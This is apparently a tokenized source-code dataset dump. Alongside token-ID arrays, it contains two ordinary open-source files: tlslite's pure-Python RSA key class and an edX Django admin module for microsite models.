10335, 284, 270, 542, 6271, 325, 262, 667, 335, 1315, 85, 13333, 98, 78, 424, 78, 625, 68, 30739, 285, 70, 315, 16921, 799, 24920, 199, 3, 7192, 725, 83, 13733, 3903, 317, 335, 325, 1132, 11023, 1895, 3107, 85, 1129, 374, 10335, 373, 265, 17854, 14262, 75, 265, 724, 1315, 85, 2165, 2033, 75, 724, 625, 68, 1182, 312, 424, 199, 3, 428, 1225, 75, 265, 724, 312, 424, 1315, 85, 31351, 78, 14, 199, 3, 577, 1873, 738, 706, 10214, 1597, 14262, 78, 334, 5650, 1435, 17854, 85, 1192, 10214, 12, 295, 2033, 90, 4446, 266, 17854, 14262, 625, 68, 20345, 14262, 20153, 73, 9, 199, 3, 8597, 76, 724, 32731, 5376, 2165, 2033, 5973, 270, 455, 77, 602, 78, 394, 1058, 274, 3308, 336, 281, 848, 334, 262, 8351, 72, 13733, 2753, 528, 415, 390, 16921, 199, 3, 17854, 14262, 86, 1384, 335, 20546, 724, 680, 577, 1873, 3107, 85, 2181, 78, 10335, 9266, 5900, 3308, 282, 1286, 28548, 437, 75, 724, 264, 1661, 11711, 290, 90, 464, 335, 72, 4478, 10335, 199, 3, 334, 43, 2205, 269, 1873, 26, 738, 706, 10214, 1597, 14262, 680, 199, 3, 577, 1873, 812, 1384, 266, 14262, 78, 334, 5650, 1435, 17854, 85, 1192, 10214, 12, 295, 2033, 90, 4446, 266, 17854, 14262, 625, 68, 20345, 14262, 20153, 73, 9, 199, 3, 8597, 76, 724, 325, 18486, 1152, 32731, 5376, 2165, 2033, 5973, 270, 455, 77, 602, 78, 394, 1058, 274, 3308, 336, 281, 848, 334, 262, 8351, 72, 13733, 2753, 528, 415, 390, 199, 3, 16921, 17854, 14262, 86, 1384, 335, 20546, 724, 680, 577, 1873, 3107, 85, 2181, 78, 10335, 9266, 5900, 3308, 282, 1286, 28548, 437, 75, 724, 264, 1661, 199, 3, 11711, 290, 90, 464, 335, 72, 4478, 10335, 334, 43, 2205, 269, 1873, 26, 812, 1384, 266, 14262, 680, 199, 3, 577, 1873, 3107, 85, 2181, 78, 10335, 16921, 17854, 14262, 78, 289, 17709, 82, 662, 262, 13, 625, 68, 437, 527, 13499, 72, 828, 282, 527, 26007, 491, 13733, 78, 424, 78, 12, 308, 583, 1873, 282, 2133, 199, 3, 289, 17709, 82, 5376, 662, 262, 13, 625, 68, 5444, 7351, 1286, 282, 527, 625, 68, 315, 577, 11133, 5019, 13733, 78, 424, 8597, 76, 724, 506, 1017, 31351, 199, 3, 334, 44, 1873, 2412, 867, 15, 43, 324, 271, 9, 72, 1058, 274, 3308, 336, 281, 848, 334, 262, 1626, 72, 13733, 2753, 528, 415, 390, 373, 676, 18769, 75, 324, 856, 2482, 460, 199, 3, 18618, 491, 1873, 2412, 290, 724, 15, 43, 324, 848, 680, 577, 1873, 3107, 85, 2181, 78, 10335, 506, 1017, 1804, 324, 848, 284, 270, 283, 72, 14614, 2523, 2135, 17277, 7, 741, 83, 199, 3, 18833, 3107, 85, 2181, 78, 10335, 32731, 2165, 2033, 75, 724, 625, 68, 13333, 121, 605, 15820, 264, 1892, 84, 18833, 261, 3416, 662, 262, 806, 276, 452, 14, 199, 3, 199, 3, 3107, 300, 25777, 264, 262, 667, 335, 10335, 16921, 17854, 14262, 65, 527, 1129, 572, 625, 68, 699, 2133, 10335, 32731, 437, 527, 31813, 3389, 335, 13733, 70, 724, 199, 3, 9266, 416, 456, 84, 7653, 325, 262, 15599, 3369, 2978, 12340, 373, 265, 17854, 14262, 65, 527, 1129, 374, 625, 68, 17854, 14262, 75, 265, 724, 199, 3, 334, 90, 14, 34, 14, 3107, 85, 2181, 78, 10335, 283, 53, 706, 10214, 1597, 14262, 5851, 5, 7, 1315, 85, 283, 1597, 14262, 20153, 1873, 662, 4904, 22451, 828, 282, 527, 16921, 26007, 358, 199, 3, 1315, 1129, 5618, 3107, 85, 2181, 78, 10335, 18833, 874, 603, 12020, 1315, 453, 282, 527, 76, 13733, 78, 2297, 24604, 31351, 334, 43, 324, 271, 15, 44, 1873, 2412, 867, 680, 199, 199, 3, 577, 1873, 799, 11019, 324, 458, 464, 335, 10335, 506, 1017, 662, 2292, 65, 1286, 506, 87, 723, 5973, 1699, 2268, 3424, 26, 199, 3, 577, 1873, 17854, 14262, 1235, 17091, 324, 458, 2587, 725, 416, 303, 334, 476, 9503, 85, 3398, 17854, 14262, 9, 336, 5428, 282, 527, 303, 87, 1873, 2464, 32731, 5376, 199, 3, 1335, 546, 69, 1638, 2268, 1804, 2205, 16039, 287, 289, 17709, 82, 5376, 812, 1384, 266, 14262, 17854, 14262, 17091, 9549, 2527, 334, 90, 14, 34, 14, 812, 1384, 266, 14262, 199, 3, 17854, 14262, 17091, 9549, 2527, 16171, 1435, 17854, 85, 1192, 10214, 5851, 5, 680, 199, 3, 18674, 17854, 14262, 9549, 2527, 221, 0 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1, 1 ]
liefdiy/bite-project
deps/gdata-python-client/src/gdata/tlslite/utils/Python_RSAKey.py
239
7707
"""Pure-Python RSA implementation.""" from cryptomath import * import xmltools from ASN1Parser import ASN1Parser from RSAKey import * class Python_RSAKey(RSAKey): def __init__(self, n=0, e=0, d=0, p=0, q=0, dP=0, dQ=0, qInv=0): if (n and not e) or (e and not n): raise AssertionError() self.n = n self.e = e self.d = d self.p = p self.q = q self.dP = dP self.dQ = dQ self.qInv = qInv self.blinder = 0 self.unblinder = 0 def hasPrivateKey(self): return self.d != 0 def hash(self): s = self.writeXMLPublicKey('\t\t') return hashAndBase64(s.strip()) def _rawPrivateKeyOp(self, m): #Create blinding values, on the first pass: if not self.blinder: self.unblinder = getRandomNumber(2, self.n) self.blinder = powMod(invMod(self.unblinder, self.n), self.e, self.n) #Blind the input m = (m * self.blinder) % self.n #Perform the RSA operation c = self._rawPrivateKeyOpHelper(m) #Unblind the output c = (c * self.unblinder) % self.n #Update blinding values self.blinder = (self.blinder * self.blinder) % self.n self.unblinder = (self.unblinder * self.unblinder) % self.n #Return the output return c def _rawPrivateKeyOpHelper(self, m): #Non-CRT version #c = powMod(m, self.d, self.n) #CRT version (~3x faster) s1 = powMod(m, self.dP, self.p) s2 = powMod(m, self.dQ, self.q) h = ((s1 - s2) * self.qInv) % self.p c = s2 + self.q * h return c def _rawPublicKeyOp(self, c): m = powMod(c, self.e, self.n) return m def acceptsPassword(self): return False def write(self, indent=''): if self.d: s = indent+'<privateKey xmlns="http://trevp.net/rsa">\n' else: s = indent+'<publicKey xmlns="http://trevp.net/rsa">\n' s += indent+'\t<n>%s</n>\n' % numberToBase64(self.n) s += indent+'\t<e>%s</e>\n' % numberToBase64(self.e) if self.d: s += indent+'\t<d>%s</d>\n' % numberToBase64(self.d) s += indent+'\t<p>%s</p>\n' % numberToBase64(self.p) s += indent+'\t<q>%s</q>\n' % numberToBase64(self.q) s += indent+'\t<dP>%s</dP>\n' % numberToBase64(self.dP) s += indent+'\t<dQ>%s</dQ>\n' % numberToBase64(self.dQ) s += indent+'\t<qInv>%s</qInv>\n' % numberToBase64(self.qInv) s += indent+'</privateKey>' else: s += indent+'</publicKey>' #Only add \n if part of a larger structure if indent != '': s += '\n' return s def writeXMLPublicKey(self, indent=''): return Python_RSAKey(self.n, self.e).write(indent) def generate(bits): key = Python_RSAKey() p = getRandomPrime(bits/2, False) q = getRandomPrime(bits/2, False) t = lcm(p-1, q-1) key.n = p * q key.e = 3L #Needed to be long, for Java key.d = invMod(key.e, t) key.p = p key.q = q key.dP = key.d % (p-1) key.dQ = key.d % (q-1) key.qInv = invMod(q, p) return key generate = staticmethod(generate) def parsePEM(s, passwordCallback=None): """Parse a string containing a <privateKey> or <publicKey>, or PEM-encoded key.""" start = s.find("-----BEGIN PRIVATE KEY-----") if start != -1: end = s.find("-----END PRIVATE KEY-----") if end == -1: raise SyntaxError("Missing PEM Postfix") s = s[start+len("-----BEGIN PRIVATE KEY -----") : end] bytes = base64ToBytes(s) return Python_RSAKey._parsePKCS8(bytes) else: start = s.find("-----BEGIN RSA PRIVATE KEY-----") if start != -1: end = s.find("-----END RSA PRIVATE KEY-----") if end == -1: raise SyntaxError("Missing PEM Postfix") s = s[start+len("-----BEGIN RSA PRIVATE KEY -----") : end] bytes = base64ToBytes(s) return Python_RSAKey._parseSSLeay(bytes) raise SyntaxError("Missing PEM Prefix") parsePEM = staticmethod(parsePEM) def parseXML(s): element = xmltools.parseAndStripWhitespace(s) return Python_RSAKey._parseXML(element) parseXML = staticmethod(parseXML) def _parsePKCS8(bytes): p = ASN1Parser(bytes) version = p.getChild(0).value[0] if version != 0: raise SyntaxError("Unrecognized PKCS8 version") rsaOID = p.getChild(1).value if list(rsaOID) != [6, 9, 42, 134, 72, 134, 247, 13, 1, 1, 1, 5, 0]: raise SyntaxError("Unrecognized AlgorithmIdentifier") #Get the privateKey privateKeyP = p.getChild(2) #Adjust for OCTET STRING encapsulation privateKeyP = ASN1Parser(privateKeyP.value) return Python_RSAKey._parseASN1PrivateKey(privateKeyP) _parsePKCS8 = staticmethod(_parsePKCS8) def _parseSSLeay(bytes): privateKeyP = ASN1Parser(bytes) return Python_RSAKey._parseASN1PrivateKey(privateKeyP) _parseSSLeay = staticmethod(_parseSSLeay) def _parseASN1PrivateKey(privateKeyP): version = privateKeyP.getChild(0).value[0] if version != 0: raise SyntaxError("Unrecognized RSAPrivateKey version") n = bytesToNumber(privateKeyP.getChild(1).value) e = bytesToNumber(privateKeyP.getChild(2).value) d = bytesToNumber(privateKeyP.getChild(3).value) p = bytesToNumber(privateKeyP.getChild(4).value) q = bytesToNumber(privateKeyP.getChild(5).value) dP = bytesToNumber(privateKeyP.getChild(6).value) dQ = bytesToNumber(privateKeyP.getChild(7).value) qInv = bytesToNumber(privateKeyP.getChild(8).value) return Python_RSAKey(n, e, d, p, q, dP, dQ, qInv) _parseASN1PrivateKey = staticmethod(_parseASN1PrivateKey) def _parseXML(element): try: xmltools.checkName(element, "privateKey") except SyntaxError: xmltools.checkName(element, "publicKey") #Parse attributes xmltools.getReqAttribute(element, "xmlns", "http://trevp.net/rsa\Z") xmltools.checkNoMoreAttributes(element) #Parse public values (<n> and <e>) n = base64ToNumber(xmltools.getText(xmltools.getChild(element, 0, "n"), xmltools.base64RegEx)) e = base64ToNumber(xmltools.getText(xmltools.getChild(element, 1, "e"), xmltools.base64RegEx)) d = 0 p = 0 q = 0 dP = 0 dQ = 0 qInv = 0 #Parse private values, if present if element.childNodes.length>=3: d = base64ToNumber(xmltools.getText(xmltools.getChild(element, 2, "d"), xmltools.base64RegEx)) p = base64ToNumber(xmltools.getText(xmltools.getChild(element, 3, "p"), xmltools.base64RegEx)) q = base64ToNumber(xmltools.getText(xmltools.getChild(element, 4, "q"), xmltools.base64RegEx)) dP = base64ToNumber(xmltools.getText(xmltools.getChild(element, 5, "dP"), xmltools.base64RegEx)) dQ = base64ToNumber(xmltools.getText(xmltools.getChild(element, 6, "dQ"), xmltools.base64RegEx)) qInv = base64ToNumber(xmltools.getText(xmltools.getLastChild(element, 7, "qInv"), xmltools.base64RegEx)) return Python_RSAKey(n, e, d, p, q, dP, dQ, qInv) _parseXML = staticmethod(_parseXML)
apache-2.0
[ 624, 28928, 13, 4718, 18471, 4514, 1041, 2999, 199, 504, 13230, 3442, 492, 627, 199, 646, 2748, 2537, 199, 504, 31139, 17, 2842, 492, 31139, 17, 2842, 199, 504, 18471, 1197, 492, 627, 199, 199, 533, 2018, 63, 12115, 1197, 8, 12115, 1197, 304, 272, 347, 636, 826, 721, 277, 12, 302, 29, 16, 12, 325, 29, 16, 12, 366, 29, 16, 12, 299, 29, 16, 12, 1894, 29, 16, 12, 366, 48, 29, 16, 12, 366, 49, 29, 16, 12, 1894, 14883, 29, 16, 304, 267, 340, 334, 78, 436, 440, 325, 9, 503, 334, 69, 436, 440, 302, 304, 288, 746, 9070, 342, 1039, 291, 14, 78, 275, 302, 267, 291, 14, 69, 275, 325, 267, 291, 14, 68, 275, 366, 267, 291, 14, 80, 275, 299, 267, 291, 14, 81, 275, 1894, 267, 291, 14, 68, 48, 275, 366, 48, 267, 291, 14, 68, 49, 275, 366, 49, 267, 291, 14, 81, 14883, 275, 1894, 14883, 267, 291, 14, 66, 24447, 275, 378, 267, 291, 14, 324, 66, 24447, 275, 378, 339, 347, 965, 31757, 8, 277, 304, 267, 372, 291, 14, 68, 1137, 378, 339, 347, 2631, 8, 277, 304, 267, 308, 275, 291, 14, 952, 4317, 26238, 2258, 84, 60, 84, 358, 267, 372, 2631, 3325, 1563, 772, 8, 83, 14, 1913, 1012, 339, 347, 485, 1773, 31757, 4619, 8, 277, 12, 333, 304, 267, 327, 2499, 330, 472, 1098, 1338, 12, 641, 314, 1642, 986, 26, 267, 340, 440, 291, 14, 66, 24447, 26, 288, 291, 14, 324, 66, 24447, 275, 664, 3883, 3259, 8, 18, 12, 291, 14, 78, 9, 288, 291, 14, 66, 24447, 275, 13131, 9871, 8, 5350, 9871, 8, 277, 14, 324, 66, 24447, 12, 291, 14, 78, 395, 291, 14, 69, 12, 3303, 291, 14, 78, 9, 398, 327, 34, 24491, 314, 1324, 267, 333, 275, 334, 77, 627, 291, 14, 66, 24447, 9, 450, 291, 14, 78, 398, 327, 20906, 314, 18471, 3439, 267, 286, 275, 291, 423, 1773, 31757, 4619, 4433, 8, 77, 9, 398, 327, 1358, 66, 24491, 314, 1072, 267, 286, 275, 334, 67, 627, 291, 14, 324, 66, 24447, 9, 450, 291, 14, 78, 398, 327, 4152, 330, 472, 1098, 1338, 267, 291, 14, 66, 24447, 275, 334, 277, 14, 66, 24447, 627, 291, 14, 66, 24447, 9, 450, 291, 14, 78, 267, 291, 14, 324, 66, 24447, 275, 334, 277, 14, 324, 66, 24447, 627, 291, 14, 324, 66, 24447, 9, 450, 291, 14, 78, 398, 327, 1767, 314, 1072, 267, 372, 286, 2378, 347, 485, 1773, 31757, 4619, 4433, 8, 277, 12, 333, 304, 267, 327, 6932, 13, 2944, 52, 1015, 267, 327, 67, 275, 13131, 9871, 8, 77, 12, 291, 14, 68, 12, 291, 14, 78, 9, 398, 327, 2944, 52, 1015, 221, 31742, 19, 88, 12930, 9, 267, 308, 17, 275, 13131, 9871, 8, 77, 12, 291, 14, 68, 48, 12, 291, 14, 80, 9, 267, 308, 18, 275, 13131, 9871, 8, 77, 12, 291, 14, 68, 49, 12, 291, 14, 81, 9, 267, 394, 275, 3666, 83, 17, 446, 308, 18, 9, 627, 291, 14, 81, 14883, 9, 450, 291, 14, 80, 267, 286, 275, 308, 18, 435, 291, 14, 81, 627, 394, 267, 372, 286, 339, 347, 485, 1773, 26238, 4619, 8, 277, 12, 286, 304, 267, 333, 275, 13131, 9871, 8, 67, 12, 291, 14, 69, 12, 291, 14, 78, 9, 267, 372, 333, 339, 347, 11479, 6139, 8, 277, 304, 372, 756, 339, 347, 2218, 8, 277, 12, 4363, 9280, 267, 340, 291, 14, 68, 26, 288, 308, 275, 4363, 4786, 28, 4239, 1197, 9604, 628, 1014, 921, 84, 4964, 80, 14, 846, 15, 13487, 14559, 78, 7, 267, 587, 26, 288, 308, 275, 4363, 4786, 28, 3455, 1197, 9604, 628, 1014, 921, 84, 4964, 80, 14, 846, 15, 13487, 14559, 78, 7, 267, 308, 847, 4363, 19192, 84, 28, 78, 6598, 83, 1108, 78, 3072, 78, 7, 450, 1329, 1378, 1563, 772, 8, 277, 14, 78, 9, 267, 308, 847, 4363, 19192, 84, 28, 69, 6598, 83, 1108, 69, 3072, 78, 7, 450, 1329, 1378, 1563, 772, 8, 277, 14, 69, 9, 267, 340, 291, 14, 68, 26, 288, 308, 847, 4363, 19192, 84, 28, 68, 6598, 83, 1108, 68, 3072, 78, 7, 450, 1329, 1378, 1563, 772, 8, 277, 14, 68, 9, 288, 308, 847, 4363, 19192, 84, 28, 80, 6598, 83, 1108, 80, 3072, 78, 7, 450, 1329, 1378, 1563, 772, 8, 277, 14, 80, 9, 288, 308, 847, 4363, 19192, 84, 28, 81, 6598, 83, 1108, 81, 3072, 78, 7, 450, 1329, 1378, 1563, 772, 8, 277, 14, 81, 9, 288, 308, 847, 4363, 19192, 84, 28, 68, 48, 6598, 83, 1108, 68, 48, 3072, 78, 7, 450, 1329, 1378, 1563, 772, 8, 277, 14, 68, 48, 9, 288, 308, 847, 4363, 19192, 84, 28, 68, 49, 6598, 83, 1108, 68, 49, 3072, 78, 7, 450, 1329, 1378, 1563, 772, 8, 277, 14, 68, 49, 9, 288, 308, 847, 4363, 19192, 84, 28, 81, 14883, 6598, 83, 1108, 81, 14883, 3072, 78, 7, 450, 1329, 1378, 1563, 772, 8, 277, 14, 81, 14883, 9, 288, 308, 847, 4363, 4786, 1108, 4239, 1197, 3524, 267, 587, 26, 288, 308, 847, 4363, 4786, 1108, 3455, 1197, 3524, 267, 327, 5903, 1050, 971, 78, 340, 1777, 402, 282, 12142, 5523, 267, 340, 4363, 1137, 8061, 288, 308, 847, 1557, 78, 7, 267, 372, 308, 339, 347, 2218, 4317, 26238, 8, 277, 12, 4363, 9280, 267, 372, 2018, 63, 12115, 1197, 8, 277, 14, 78, 12, 291, 14, 69, 680, 952, 8, 3724, 9, 339, 347, 3550, 8, 5609, 304, 267, 790, 275, 2018, 63, 12115, 1197, 342, 267, 299, 275, 664, 3883, 4562, 278, 8, 5609, 15, 18, 12, 756, 9, 267, 1894, 275, 664, 3883, 4562, 278, 8, 5609, 15, 18, 12, 756, 9, 267, 307, 275, 634, 4400, 8, 80, 13, 17, 12, 1894, 13, 17, 9, 267, 790, 14, 78, 275, 299, 627, 1894, 267, 790, 14, 69, 275, 650, 44, 221, 327, 21549, 370, 506, 1846, 12, 367, 9586, 267, 790, 14, 68, 275, 4572, 9871, 8, 498, 14, 69, 12, 307, 9, 267, 790 ]
[ 28928, 13, 4718, 18471, 4514, 1041, 2999, 199, 504, 13230, 3442, 492, 627, 199, 646, 2748, 2537, 199, 504, 31139, 17, 2842, 492, 31139, 17, 2842, 199, 504, 18471, 1197, 492, 627, 199, 199, 533, 2018, 63, 12115, 1197, 8, 12115, 1197, 304, 272, 347, 636, 826, 721, 277, 12, 302, 29, 16, 12, 325, 29, 16, 12, 366, 29, 16, 12, 299, 29, 16, 12, 1894, 29, 16, 12, 366, 48, 29, 16, 12, 366, 49, 29, 16, 12, 1894, 14883, 29, 16, 304, 267, 340, 334, 78, 436, 440, 325, 9, 503, 334, 69, 436, 440, 302, 304, 288, 746, 9070, 342, 1039, 291, 14, 78, 275, 302, 267, 291, 14, 69, 275, 325, 267, 291, 14, 68, 275, 366, 267, 291, 14, 80, 275, 299, 267, 291, 14, 81, 275, 1894, 267, 291, 14, 68, 48, 275, 366, 48, 267, 291, 14, 68, 49, 275, 366, 49, 267, 291, 14, 81, 14883, 275, 1894, 14883, 267, 291, 14, 66, 24447, 275, 378, 267, 291, 14, 324, 66, 24447, 275, 378, 339, 347, 965, 31757, 8, 277, 304, 267, 372, 291, 14, 68, 1137, 378, 339, 347, 2631, 8, 277, 304, 267, 308, 275, 291, 14, 952, 4317, 26238, 2258, 84, 60, 84, 358, 267, 372, 2631, 3325, 1563, 772, 8, 83, 14, 1913, 1012, 339, 347, 485, 1773, 31757, 4619, 8, 277, 12, 333, 304, 267, 327, 2499, 330, 472, 1098, 1338, 12, 641, 314, 1642, 986, 26, 267, 340, 440, 291, 14, 66, 24447, 26, 288, 291, 14, 324, 66, 24447, 275, 664, 3883, 3259, 8, 18, 12, 291, 14, 78, 9, 288, 291, 14, 66, 24447, 275, 13131, 9871, 8, 5350, 9871, 8, 277, 14, 324, 66, 24447, 12, 291, 14, 78, 395, 291, 14, 69, 12, 3303, 291, 14, 78, 9, 398, 327, 34, 24491, 314, 1324, 267, 333, 275, 334, 77, 627, 291, 14, 66, 24447, 9, 450, 291, 14, 78, 398, 327, 20906, 314, 18471, 3439, 267, 286, 275, 291, 423, 1773, 31757, 4619, 4433, 8, 77, 9, 398, 327, 1358, 66, 24491, 314, 1072, 267, 286, 275, 334, 67, 627, 291, 14, 324, 66, 24447, 9, 450, 291, 14, 78, 398, 327, 4152, 330, 472, 1098, 1338, 267, 291, 14, 66, 24447, 275, 334, 277, 14, 66, 24447, 627, 291, 14, 66, 24447, 9, 450, 291, 14, 78, 267, 291, 14, 324, 66, 24447, 275, 334, 277, 14, 324, 66, 24447, 627, 291, 14, 324, 66, 24447, 9, 450, 291, 14, 78, 398, 327, 1767, 314, 1072, 267, 372, 286, 2378, 347, 485, 1773, 31757, 4619, 4433, 8, 277, 12, 333, 304, 267, 327, 6932, 13, 2944, 52, 1015, 267, 327, 67, 275, 13131, 9871, 8, 77, 12, 291, 14, 68, 12, 291, 14, 78, 9, 398, 327, 2944, 52, 1015, 221, 31742, 19, 88, 12930, 9, 267, 308, 17, 275, 13131, 9871, 8, 77, 12, 291, 14, 68, 48, 12, 291, 14, 80, 9, 267, 308, 18, 275, 13131, 9871, 8, 77, 12, 291, 14, 68, 49, 12, 291, 14, 81, 9, 267, 394, 275, 3666, 83, 17, 446, 308, 18, 9, 627, 291, 14, 81, 14883, 9, 450, 291, 14, 80, 267, 286, 275, 308, 18, 435, 291, 14, 81, 627, 394, 267, 372, 286, 339, 347, 485, 1773, 26238, 4619, 8, 277, 12, 286, 304, 267, 333, 275, 13131, 9871, 8, 67, 12, 291, 14, 69, 12, 291, 14, 78, 9, 267, 372, 333, 339, 347, 11479, 6139, 8, 277, 304, 372, 756, 339, 347, 2218, 8, 277, 12, 4363, 9280, 267, 340, 291, 14, 68, 26, 288, 308, 275, 4363, 4786, 28, 4239, 1197, 9604, 628, 1014, 921, 84, 4964, 80, 14, 846, 15, 13487, 14559, 78, 7, 267, 587, 26, 288, 308, 275, 4363, 4786, 28, 3455, 1197, 9604, 628, 1014, 921, 84, 4964, 80, 14, 846, 15, 13487, 14559, 78, 7, 267, 308, 847, 4363, 19192, 84, 28, 78, 6598, 83, 1108, 78, 3072, 78, 7, 450, 1329, 1378, 1563, 772, 8, 277, 14, 78, 9, 267, 308, 847, 4363, 19192, 84, 28, 69, 6598, 83, 1108, 69, 3072, 78, 7, 450, 1329, 1378, 1563, 772, 8, 277, 14, 69, 9, 267, 340, 291, 14, 68, 26, 288, 308, 847, 4363, 19192, 84, 28, 68, 6598, 83, 1108, 68, 3072, 78, 7, 450, 1329, 1378, 1563, 772, 8, 277, 14, 68, 9, 288, 308, 847, 4363, 19192, 84, 28, 80, 6598, 83, 1108, 80, 3072, 78, 7, 450, 1329, 1378, 1563, 772, 8, 277, 14, 80, 9, 288, 308, 847, 4363, 19192, 84, 28, 81, 6598, 83, 1108, 81, 3072, 78, 7, 450, 1329, 1378, 1563, 772, 8, 277, 14, 81, 9, 288, 308, 847, 4363, 19192, 84, 28, 68, 48, 6598, 83, 1108, 68, 48, 3072, 78, 7, 450, 1329, 1378, 1563, 772, 8, 277, 14, 68, 48, 9, 288, 308, 847, 4363, 19192, 84, 28, 68, 49, 6598, 83, 1108, 68, 49, 3072, 78, 7, 450, 1329, 1378, 1563, 772, 8, 277, 14, 68, 49, 9, 288, 308, 847, 4363, 19192, 84, 28, 81, 14883, 6598, 83, 1108, 81, 14883, 3072, 78, 7, 450, 1329, 1378, 1563, 772, 8, 277, 14, 81, 14883, 9, 288, 308, 847, 4363, 4786, 1108, 4239, 1197, 3524, 267, 587, 26, 288, 308, 847, 4363, 4786, 1108, 3455, 1197, 3524, 267, 327, 5903, 1050, 971, 78, 340, 1777, 402, 282, 12142, 5523, 267, 340, 4363, 1137, 8061, 288, 308, 847, 1557, 78, 7, 267, 372, 308, 339, 347, 2218, 4317, 26238, 8, 277, 12, 4363, 9280, 267, 372, 2018, 63, 12115, 1197, 8, 277, 14, 78, 12, 291, 14, 69, 680, 952, 8, 3724, 9, 339, 347, 3550, 8, 5609, 304, 267, 790, 275, 2018, 63, 12115, 1197, 342, 267, 299, 275, 664, 3883, 4562, 278, 8, 5609, 15, 18, 12, 756, 9, 267, 1894, 275, 664, 3883, 4562, 278, 8, 5609, 15, 18, 12, 756, 9, 267, 307, 275, 634, 4400, 8, 80, 13, 17, 12, 1894, 13, 17, 9, 267, 790, 14, 78, 275, 299, 627, 1894, 267, 790, 14, 69, 275, 650, 44, 221, 327, 21549, 370, 506, 1846, 12, 367, 9586, 267, 790, 14, 68, 275, 4572, 9871, 8, 498, 14, 69, 12, 307, 9, 267, 790, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
mbareta/edx-platform-ft
common/djangoapps/microsite_configuration/admin.py
41
2691
""" Django admin page for microsite models """ from django.contrib import admin from django import forms from .models import ( Microsite, MicrositeHistory, MicrositeOrganizationMapping, MicrositeTemplate ) from util.organizations_helpers import get_organizations class MicrositeAdmin(admin.ModelAdmin): """ Admin interface for the Microsite object. """ list_display = ('key', 'site') search_fields = ('site__domain', 'values') class Meta(object): # pylint: disable=missing-docstring model = Microsite class MicrositeHistoryAdmin(admin.ModelAdmin): """ Admin interface for the MicrositeHistory object. """ list_display = ('key', 'site', 'created') search_fields = ('site__domain', 'values') ordering = ['-created'] class Meta(object): # pylint: disable=missing-docstring model = MicrositeHistory def has_add_permission(self, request): """Don't allow adds""" return False def has_delete_permission(self, request, obj=None): """Don't allow deletes""" return False class MicrositeOrganizationMappingForm(forms.ModelForm): """ Django admin form for MicrositeOrganizationMapping model """ def __init__(self, *args, **kwargs): super(MicrositeOrganizationMappingForm, self).__init__(*args, **kwargs) organizations = get_organizations() org_choices = [(org["short_name"], org["name"]) for org in organizations] org_choices.insert(0, ('', 'None')) self.fields['organization'] = forms.TypedChoiceField( choices=org_choices, required=False, empty_value=None ) class Meta(object): model = MicrositeOrganizationMapping fields = '__all__' class MicrositeOrganizationMappingAdmin(admin.ModelAdmin): """ Admin interface for the MicrositeOrganizationMapping object. """ list_display = ('organization', 'microsite') search_fields = ('organization', 'microsite') form = MicrositeOrganizationMappingForm class Meta(object): # pylint: disable=missing-docstring model = MicrositeOrganizationMapping class MicrositeTemplateAdmin(admin.ModelAdmin): """ Admin interface for the MicrositeTemplate object. """ list_display = ('microsite', 'template_uri') search_fields = ('microsite', 'template_uri') class Meta(object): # pylint: disable=missing-docstring model = MicrositeTemplate admin.site.register(Microsite, MicrositeAdmin) admin.site.register(MicrositeHistory, MicrositeHistoryAdmin) admin.site.register(MicrositeOrganizationMapping, MicrositeOrganizationMappingAdmin) admin.site.register(MicrositeTemplate, MicrositeTemplateAdmin)
agpl-3.0
[ 624, 199, 9323, 4628, 2034, 367, 30489, 1709, 199, 624, 199, 504, 1639, 14, 2828, 492, 4628, 199, 504, 1639, 492, 4513, 199, 199, 504, 1275, 992, 492, 334, 272, 27022, 2124, 12, 272, 27022, 2124, 12114, 12, 272, 27022, 2124, 15928, 7674, 12, 272, 27022, 2124, 4231, 199, 9, 199, 504, 4884, 14, 19916, 12270, 63, 7546, 492, 664, 63, 19916, 12270, 421, 199, 533, 27022, 2124, 4880, 8, 2113, 14, 12976, 304, 272, 408, 9516, 3217, 367, 314, 27022, 2124, 909, 14, 408, 272, 769, 63, 2918, 275, 661, 498, 297, 283, 2124, 358, 272, 2754, 63, 955, 275, 661, 2124, 363, 2261, 297, 283, 1459, 358, 339, 1021, 6288, 8, 785, 304, 221, 327, 4287, 26, 3507, 29, 4752, 13, 12485, 267, 1402, 275, 27022, 2124, 421, 199, 533, 27022, 2124, 12114, 4880, 8, 2113, 14, 12976, 304, 272, 408, 9516, 3217, 367, 314, 27022, 2124, 12114, 909, 14, 408, 272, 769, 63, 2918, 275, 661, 498, 297, 283, 2124, 297, 283, 3966, 358, 272, 2754, 63, 955, 275, 661, 2124, 363, 2261, 297, 283, 1459, 358, 339, 7794, 275, 11573, 3966, 418, 339, 1021, 6288, 8, 785, 304, 221, 327, 4287, 